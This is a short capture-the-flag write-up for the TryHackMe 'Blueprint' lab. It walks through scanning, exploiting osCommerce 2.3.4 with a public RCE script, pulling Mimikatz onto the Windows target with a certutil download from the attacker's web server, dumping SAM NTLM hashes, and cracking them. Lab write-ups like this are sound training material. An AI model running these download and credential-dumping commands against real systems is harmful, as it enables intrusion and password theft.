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Scanning/Enumeration 
Looking at the nmap output from recon.sh  the biggest thing that sticks out is port 

8080  because that's not usually something you see being open and the server output 
is weird, to say the least. 

https://www.notion.so/4f0181d5d04842198b10257c085fecf4#df4649dc76224064b05e1d7f95ba5ec5
https://www.notion.so/4f0181d5d04842198b10257c085fecf4#ef4c5ef9866c4a699725fd810342bf67
https://www.notion.so/4f0181d5d04842198b10257c085fecf4#ae23343479b94b04ac18985f840dcebb
https://www.notion.so/4f0181d5d04842198b10257c085fecf4#a1c8fafe19d04617a9bb95387e17fdb8
https://tryhackme.com/room/blueprint
https://github.com/JomariGee/network_recon
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Going to visit this website I see mention of something called oscommerece-2.3.4 , 
which after further recon I discovered is a CMS, so naturally, I passed it to 
searchsploit . There are two RCE's out there for this version, but I'll be using the 
second one, 50128.py

RCE
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Using the 50128.py  with the command below it shows that you are logged into the 
system as NT Authority  at the begging which is awesome, no need to privilege 
escalate!

That is cool, but there isn't much that can be done on the system just yet, so to get 
the NTLM hash for the user Lab  we need to use Mimikatz . I went to the location of 
mimikatz.exe  and started a simple python web server then put Mimikatz  on the 
Windows machine. 

certutil.exe -urlcache -f http://10.2.51.66:8000/mimkatz.exe mimikatz.exe

🚩”Lab” NTLM Hash🚩
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Using Mimikatz  I dump the NTLM hash for the users on this machine with the 
command below

.\mimikatz "lsadump::sam" exit

Then using good ol CrackStation  the NTLM hash for the user Lab  is revealed  
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🚩Root.txt Flag🚩
Now to get the root flag I just had to go into the Admin's  Desktop directory to 

retrieve it and finish this box off. 

type dir c:\users\Administrator\Desktop\root.txt.txt


